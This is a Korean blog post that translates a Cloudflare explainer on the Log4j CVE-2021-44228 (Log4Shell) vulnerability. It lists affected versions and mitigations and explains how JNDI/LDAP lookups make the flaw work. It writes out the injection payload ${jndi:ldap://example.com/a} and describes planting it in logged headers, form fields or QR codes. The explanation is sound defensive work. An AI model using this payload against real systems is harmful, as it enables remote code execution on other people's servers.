이번에 발견된 Log4j관련 취약성과 관련하여 잘 설명된 기사가 있어 해석 및 정리하여 올립니다.
******
2021년 12월 9일 자바기반의 로깅 패키지로 유명한 Log4j의 취약점이 드러났습니다. 이 취약성으로 인해 공격자는 리모트 서버에 코드를 실행할 수 있습니다(Remote Code Execution, RCE). 상당히 많은 곳에서 자바를 사용하고 있고 또한 Log4j를 함께 이용하고 있기 때문에 더욱 치명적이라고 생각이 됩니다.
취약점 보완이 필요한 Log4j버전
- 2.0-beta-9 ~ 2.14.1 사이의 버전.
보완방법
- Log4j v2.16.0으로 업그레이드하기. (v2.15.0 에서 v2.16.0 으로 업데이트 [관련링크] - 21.12.15)
- Log4j v2.10 혹은 그이상의 버전을 쓰고있고 업그레이드가 불가할 경우 아래의 세가지 방법 중 하나를 시도해볼 것.
- 아래 프로퍼티를 세팅하기.
log4j2.formatMsgNoLookups=true
- 환경변수(environment variable)에 지정하기.
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
- JndiLookup 클래스를 classpath에서 제거.
예시)log4j-core로 부터 클래스를 제거 :
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
취약성의 기원
2013년에 처음 2.0-beta9 버전에서 JNDILookup plugin이 Log4j 패키지에 포함되었습니다.(LOG4J2-313)
이 변화가 어떻게 문제를 야기했는지는 JNDI에 관한 이해가 우선 필요합니다. (JNDI Java Naming and Directory)
간단히 JNDI는 자바에서 디렉토리를 이용하여 데이터를 호출할 수 있게 해주는 directory service입니다. JNDI는 이러한 다양한 디렉토리 서비스를 가능하게 하기 위해 몇가지의 SPI (Service Provider Interfaces)를 포함하고 있고, JNDI는 LDAP(the Lightweight Direcotry Access Protocol)와 함께 필요한 데이터를 품고있는 자바 object를 얻기위해 사용할 수 있습니다.
Java document를 참고하게 되면 아래와 같이 LDAP 서버를 아래와 같은 URL로 호출하고 있는 것을 예시로 확인할 수 있습니다.
ldap://localhost:389/o=JNDITutorial
=> JNDITutorial object를 찾기위해 localhost의 389포트를 이용하여 접근하고 있음을 알 수 있다.
튜토리얼을 통해서 LDAP서버는 다른 머신에서 돌아가고 있어도 인터넷만 된다면 호출을 통해 원하는 object를 가져올 수 있음을 알 수 있습니다. 이러한 유연성을 attacker들이 이용하여 LDAP URL을 컨트롤하여 자신의 통제하에 Java 프로그램을 실행시켜 object를 로드할 수 있음을 뜻합니다.
Log4j의 경우..
Log4j에서는 attacker가 log4j을 통해 다음과 같이 ${jndi:ldap://example.com/a} string을 쓰도록 함으로써 LDAP URL을 컨트롤 할 수 있음이 발견되었습니다.
이것이 가능한 이유는 Log4j의 Syntax중에 ${prefix:name} 와 같이 prefix의 Lookup을 통해 name을 가져오는 기능이 있기 때문입니다. 예를들어 ${java:version} 은 현재 돌아가고 있는 java의 버전을 뜻합니다.
LOG4J2-313에서 jndi Lookup을 다음과 같이 추가하였습니다:
- JndiLookup은 변수를 JNDI를 통해 추출하기 위해 사용된다.
- 기본적으로 key는 java:comp/env/가 prefix될 것이고 만약 key에 “:”가 존재한다면 prefix가 추가되지 않을 것이다.
예를들어 ${jndi:ldap://example.com/a}와 같이 key가 들어간다면 LDAP서버에 object요청이 갈 것입니다. 그리고 이 Lookup은 Log4j configuration그리고 로그를 남기는 Line에도 적용될 수 있습니다.
그래서 attacker들은 로그가 되는 Input들을 찾고 ${jndi:ldap://example.com/a} 와 같은 요소를 추가하여 공격할 것이고. 이 요소는 보통 로그로 많이 기록이 되는 HTTP header의 요소 혹은 form 파라미터인 username에 포함해서 보낼 수 있을 것입니다.
이것은 인터넷과 연결되는 JAVA-based 시스템에 보편적이며, 인터넷과 연결되어있지 않은 Java 기반 시스템 이더라도 system to system으로 전파될 수 있기에 방심하면 안됩니다!
피해와 관련하여 예를들어봅시다.
- User-Agent String이 실행가능한 문자열을 포함한다면, 이는 백엔드 시스템으로 넘어갈 것이고 이 데이터를 log4j를 이용하여 기록될 수 있습니다. 따라서 Log4j 버전2를 사용하는 자바기반 서버는 빠르게 조치가 필요한 이유가 됩니다. 인터넷에 연결은 되어있지만 java기반 시스템이 아니더라도, 문제가 되는 문자열은 Java기반의 시스템으로 전파될 수 있습니다.
아니면 위 그림과 같이 만약 Billing System에서 first name이 존재하지 않고, 이를 로깅하려고 할때 실행가능한 악성 문자열이 실행 될 것입니다. 이는 여러 단계를 거쳐서 실행될 수 있습니다.
그리고 자바는 인터넷과 대면해있는 시스템보다 그렇지 않은 시스템에 더 많이 사용되고 있습니다. 예를 들어 Log4j를 사용하고 있는 Java기반의 우편물 QR code 스캔 시스템이나 도어락 키 시스템을 쉽게 떠올릴 수 있을 것입니다. 이 경우에는 우편번호가 있어야하는 QR에 실행가능한 문자열 정보를 넣을 수 있고 도어락 키를 조작하여 실행가능한 문자열이 전달되도록하고 이를 통해 계속해서 출입데이터를 tracking할 수도 있을 것입니다.
또한 주기적으로 돌아가는 시스템의 경우는 실행가능한 문자열 데이터를 가지고 있다가 몇시간 후 혹은 며칠후 로깅하여 실행될 수도 있습니다.
[출처 : https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/]